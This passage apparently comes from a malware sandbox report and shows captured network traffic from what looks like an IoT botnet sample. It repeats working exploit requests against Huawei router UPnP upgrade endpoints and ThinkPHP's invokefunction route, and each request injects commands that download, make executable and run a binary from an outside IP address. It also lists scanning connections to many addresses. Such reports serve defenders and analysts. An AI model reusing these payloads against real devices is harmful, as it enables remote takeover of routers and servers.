3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.191.189
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.202.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.119.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.119.243.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.158.91.95
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.30.89
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.98.53
Source: unknown	TCP traffic detected without corresponding DNS query: 197.3.150.5
Source: unknown	TCP traffic detected without corresponding DNS query: 197.227.72.33
Source: unknown	TCP traffic detected without corresponding DNS query: 197.13.192.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.51.130
Source: unknown	TCP traffic detected without corresponding DNS query: 197.241.17.70
Source: unknown	TCP traffic detected without corresponding DNS query: 197.230.137.93
Source: unknown	TCP traffic detected without corresponding DNS query: 197.69.26.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.59.135.242
Source: unknown	TCP traffic detected without corresponding DNS query: 197.157.251.214
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.160.21
Source: unknown	TCP traffic detected without corresponding DNS query: 197.123.226.118
Source: unknown	TCP traffic detected without corresponding DNS query: 197.77.19.138
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.11.22
Source: unknown	TCP traffic detected without corresponding DNS query: 197.41.228.194
Source: unknown	TCP traffic detected without corresponding DNS query: 197.249.41.84
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.255.19
Source: unknown	TCP traffic detected without corresponding DNS query: 197.94.241.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.127.249
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.171.91
Source: unknown	TCP traffic detected without corresponding DNS query: 197.51.53.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.195.172.21
Source: unknown	TCP traffic detected without corresponding DNS query: 197.146.219.217
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.176.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.179.96.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.246.105.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.250.15.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.93.168.175
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.189.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.108.55.106
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.236.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.191.89.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.92.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.37.233.222
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.153.250
Source: unknown	TCP traffic detected without corresponding DNS query: 197.245.235.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.34.83
Source: unknown	TCP traffic detected without corresponding DNS query: 197.2.206.50
Source: unknown	TCP traffic detected without corresponding DNS query: 197.114.112.230
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.151.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.88.9.123
Source: unknown	TCP traffic detected without corresponding DNS query: 197.142.101.206
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.76.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.206.165

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
